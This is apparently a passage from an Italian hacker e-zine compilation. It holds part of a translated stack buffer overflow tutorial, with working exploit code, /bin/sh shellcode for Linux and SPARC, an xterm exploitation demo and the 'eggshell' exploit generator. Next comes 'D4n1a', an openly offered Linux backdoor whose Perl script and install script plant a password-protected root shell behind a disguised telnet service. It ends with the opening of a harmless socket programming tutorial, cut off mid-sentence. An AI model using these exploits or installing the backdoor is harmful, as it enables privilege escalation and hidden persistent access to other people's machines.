#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Proviamo il nostro exploit con il nostro programma di test:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
Funziona. Proviamolo con xterm:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
Al primo tentativo! Ha certamente aumentato le nostre possibilità.
Trovare Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~
I buffer overflows sono il risultato dell'inserimento di più
informazioni dello gestibile in un buffer. Poichè il C non ha alcun
controllo d'inserimento, gli oveflows spesso si manifestano quando si
scrivono degli array. La libreria C standard fornisce un numero di
funzioni per copiare o concatenare stringhe, che vengono eseguite senza
controllo. Ci sono: strcat(), strcpy(), sprintf() e vsprintf(). Queste
funzioni oprano su stringhe non nulle, e non controllano gli overflow
quando vanno a riempire le stringhe. gets() è una funzione che legge una
linea da stdin in un buffer finchè non trova una nuova linea o un EOF. Non
esegue controlli per i buffer overflows. La famiglia di funzioni scanf()
può creare problemi se stai inserendo una sequenza di caratteri non nulli
(%s), o inserendo una sequenza non vuota di caratteri da un set specifico
(%[]), e l'array preso in considerazione non è abbastanza lungo per
accettare l'intera sequenza di caratteri, e non hai stabilito la lunghezza
massima della stringa. Se l'obiettivo di ognuna di queste funzioni è un
buffer di lunghezza statica, e l'altro argomento è qualcosa di derivato
dall'input dell'utente c'è buona possibilità che è presente un buffer
overflow.
Un altro costrutto di programmazione solito che troviamo è l'uso di un
loop while per leggere un carattere nel buffer dall'stdin o alcuni file
fino alla fine della linea, la fine del file, o altri delimitatori. Questo
tipo di costrutto usa di solito una di queste funzioni: getc(), fgetc() o
getchar(). Se non ci sono controlli espliciti per overflows nel loop
while, tali programmi sono semplicemente exploitabili.
Infine, grep(1) è tuo amico. I codici per sistemi operativi gratuiti e
le loro utility sono disponibili. Questo fatto diventa abbastanza
interessante una volta che hai realizzato che le utility di molti sistemi
operativi commerciali sono state derivato dagli stesso sorgenti di quelli
gratuiti. Usa il sorgente ragazzo.
Appendice A - Shellcode per Differenti Sistemi Operativi/Architetture
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
Appendice B - Programma di Buffer Overflow Generico
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
------------------------------------------------------------------------------
/===========================::=============================::=================/
/ /D4n1a / SPYRO /
/===========================::=============================::=================/
@*************************************************@
@ D4n1a @
@ A simple backdoor for Linux @
@ @
@ Coded by SPYRO @
@*************************************************@
Questo programma è stato creato x solo scopo informativo, se farete danni
sul vostro sistema o verso terzi, io non mi assumo nessuna responsabilità!
D4n1a è una semplicissima backdoor scritta in perl, che a differenza di
altre, funziona implementandola al demone telnetd.
Prima di tutto rendere eseguibile lo script in bash di nome: install
Basta dare il seguente comando:
chmod +x install
Poi eseguiamolo:
./install
Dopo,aprire esadecimalmente la copia del telnetd e fare una piccola
modifica.
Tutto questo tramite l'editor vi.
vi /usr/sbin/in.hylafaxd
Adesso dobbiamo trovare ed editare la stringa /bin/login in /bin/logon
Appena si aprirà il demone esadecimalmente,scirviamo per 2 volte di
seguito il comando:
/login
e ci troveremo davanti la stringa:
/bin/login.d:a:e
o una cosa molto simile.
Tramite la barra spaziatrice ci spostiamo di carattere in carattere fino
ad arrivare alla lettere i della parola login.
Dopo che ci troviamo con il curose davati al carattere i,premiamo s e poi
o .
In questo modo sostituiremo la i con la o.
Per uscire salvando premiamo il tasto Esc e scriviamo:
:wq
(anche i due punti!)
Bene,adesso la nostra backdoor è pronta.
Telnettiamo su la porta 4559(se avete lasciato il demone hylafaxd)e
immettiamo la password.
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Piccole note:
1)Se nel file /etc/services non viene citata la porta di hylafax,decommentare
la strinaga:
# echo "hylafax 4559/tcp" >> services
togliendo il carattere # all'inizio della riga.
Così il programma lo metterà al posto vostro.
2)Per cambiare la password della back,cabiare la stringa:
$pass1 = "spyro\n";
all'interno del file di nome: dania
Quando cambiate la pass,non cancellate \n !
3)Se dovete adattare la back per una box linux particolare,non ci sono
problemi,siete liberi di modificare il codice!
dania
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
#!/usr/bin/perl
print "Immettere la password\n";
$pass = <STDIN>;
$pass1 = "spyro\n";
if ($pass eq $pass1) {
print ' @*************************************************@', "\n";
print ' @ D4n1a @', "\n";
print ' @ A simple backdoor for Linux @', "\n";
print ' @ @', "\n";
print ' @ Coded by SPYRO @', "\n";
print ' @*************************************************@', "\n";
system '/bin/bash -i';
} else {
system 'echo Lam3rz g0 oUt';
exit 0;
}
install
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
#!/bin/sh
echo " @*************************************************@"
echo " @ D4n1a @"
echo " @ A simple backdoor for Linux @"
echo " @ @"
echo " @ Coded by SPYRO @"
echo " @*************************************************@"
echo ""
echo "Preparazione in corso....."
cp dania /bin/logon
cp /usr/sbin/in.telnetd /usr/sbin/in.hylafaxd
cd /etc
echo "hylafax stream tcp nowait root /usr/sbin/tcpd in.hylafaxd" >>
$
#echo "hylafax 4559/tcp" >> services
sleep 2
echo "Installazione in corso....."
chmod +x /bin/logon
killall -HUP inetd
sleep 2
echo "Installazione in corso....."
chmod +x /bin/logon
killall -HUP inetd
sleep 2
echo "Installazione conclusa"
sleep 1
echo "Adesso modificare in.hylafaxd come spiegato nel file README"
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Ciao da SPYRO
http://www.spyrohack.com | http://utenti.tripod.it/spyrohack
spyro2600@yahoo.it
/===========================::=============================::=================/
/ /Programmazione di base con socket / BracaMan /
/===========================::=============================::=================/
Programmazione di Base con Socket In Unix Per Newbies
<=====================================================>
Written by : BracaMan
E-mail : BracaMan@clix.pt
ICQ : 41476410
URL : http://www.BracaMan.net
Per altri tutorial: http://code.box.sk
http://blacksun.box.sk
Per commenti, errori o solo per dire ciao: <BracaMan@clix.pt>
INDICE
=======================================
1. Introduzione
2. Tipi Differenti di Sockets
3. Strutture
4. Conversioni
5. Indirizzi IP
6. Funzioni Importanti
6.1. socket()
6.2. bind()
6.3. connect()
6.4. listen()
6.5. accept()
6.6. send()
6.7. recv()
6.8. sendto()
6.9. recvfrom()
6.10. close()
6.11. shutdown()
6.12. gethostname()
7. Alcune Parole Riguardo Al DNS
8. Un Esempio Di Server Stream
9. Un Esempio Di Client Stream
10. Ultime Parole
11. Copyright
1. INTRODUZIONE
=======================================
Stai cercando di imparare la programmazione delle socket in C? O pensi che sia roba dura?
Allora devi leggere questi appunti per avere idee e concetti di base e cominciare
lavorare con le sockets. Non aspettarti di diventare un esperto programmatore di socket
dopo aver letto questo documento. Lo diventerai solo con molta pratica e molte letture.
2. TIPI DIFFERENTI DI INTERNET SOCKETS
=======================================
In primo luogo si deve spiegare quello che è un socket. Semplicemente un socket è un modo
per parlare con altro computer. Più precisamente, è una modalità di parlare con altro computer
usando i descrittori di file standard di Unix. In Unix, tutte le azioni di I/O sono fatte
attraverso la scrittura a la lettura di un descrittore di file. Un descrittore di file è solo
un numero intero associato a un file aperto ed esso può essere una connessione ad una rete, un
terminale, o qualcos'altro
Riguardo ai diversi titpi di socket internet, ce ne sono molti ma se ne descriveranno solo due
di questi: gli Stream Sockets (SOCK_STREAM) e i Datagram Sockets (SOCK_DGRAM).
Le differenze fra i due tipi sono le seguenti:
Stream Sockets - sono libere da errori; se si spedisce attaverso le stream socket tre
elementi "A,B,C", questi arriveranno nello stesso ordine - "A,B,C";
queste socket utilizzano il protocollo TCP ("Transmission Control Protocol"),
il quale assicura l'ordine degli elementi spediti.
Datagram Sockets - queste socket utilizzano il protocollo UDP ("User Datagram Protocol"); sono
senza connessione perché non necessitano di avere una connesione aperta come nelle Stream
Sockets. Nel pacchetto c'è l'informazione della destinazione
Potrebbe essere detto molto di più riguardo a questi due tipi di socket, ma è sufficiente per avere i concetti
di base delle socket. Comprendere cos'è una socket e questi due tipi socket internet è un buon punto di partenza,
ma è necessario sapere come lavorare con loro. Si imparerà questo nelle prossime sezioni.
3. STRUTTURE
=======================================
lo scopo di questa sezione non è di insegnare le strutture ma dire come sono usate nella programmazione delle socket
in C. Se non sa cosìè una struttura, il consiglio è leggere un manuale di C e impararlo. Per il momento, si lasci dire
che una struttura è un tipo di dato contenente altri tipi di dato, i quali sono raggruppati insieme in un singolo tipo
definito dall'utente.
Le strutture sono utilizzate nella programmazione delle socket per mantenere le informazioni dell'indirizzo.
La prima struttura è struct sockaddr che tiene le informazioni riguardo al socket
struct sockaddr
{
unsigned short sa_family; /* famiglia di indirizzi */
char sa_data[14]; /* 14 bytes of protocol address */
};
Ma esiste un'altra struttura (struct sockaddr_in) che aiuta a indicare gli elementi del socket
struct sockaddr_in
{
short int sin_family; /* famiglia di indirizzi*/
unsigned short int sin_port; /* porta */
struct in_addr sin_addr; /* indirizzo */
unsigned char sin_zero[8]; /* stessa dimensione as struct sockaddr (byte non utilizzati)*/
};
Nota: gli elementi di sin_zero sono posti tutti a zero con memset() o bzero() (Vedere esempio successivo).
La struttura seguente non è molto usata ma è definita come una unione (union).
Come si vede in entrambi gli esempi (Client Stream e Server Stream), quando si
dichiara per esempio "cliente" per essere del tipo sockaddr_in allora si fa client.sin_addr = (...)
Ad ogni modo, la definizione della struttura è la seguente:
struct in_addr
{
unsigned long s_addr;
};
Ora, è possibile parlare meglio della struttura hostent. Nell'esempio del Client Stream, si nota
l'uso di questa struttura. Questa struttura è usata per ottenere informazioni riguardo l'host remoto.
La struttura è la seguente:
struct hostent
{
char *h_name; /* nome ufficiale dell'host */
char **h_aliases; /* lista degli alias */
int h_addrtype; /* tipo di idnririzzo dell'host */
int h_length; /* lunghezza (in byte) dell'indirizzo */
char **h_addr_list; /* lista di indirizzi del name server */
#define h_addr h_addr_list[0] /* indirizzo del buffer di specifica del numero ip */
};
Questa struttura è definita nel file header netdb.h
All'inizio queste strutture confonderanno molto, ma dopo aver cominciato a scrivere qualche
linea, e dopo aver visto gli esempi, sarà più facile capirli. Vedere come usarli controllando
gli esempi (sezione 8 e 9).
4. CONVERSIONI
=======================================
Ci sono due tipi di ordinamento del byte: il byte più significativo e il byte meno significativo.
Questo primo è chiamato "Network Byte Order" ed alcune macchine immagazzinano internamente i loro
numeri col Network Byte Order.
Ci sono due tipi che si possono convertire: short e long.
Si immagini che si vuole convertire un long da Host Byte Order a Network Byte Order. Cosa si potrebbe fare?
C'è una funzione chiamata htonl() che lo convertirebbe. Le seguenti funzioni sono utilizzate per convertire:
htons() -> "Host to Network Short"
htonl() -> "Host to Network Long"
ntohs() -> "Network to Host Short"
ntohl() -> "Network to Host Long"
Si deve pensare perché si necessita di questo. Allora, quando si finirà la lettura di questo documento,
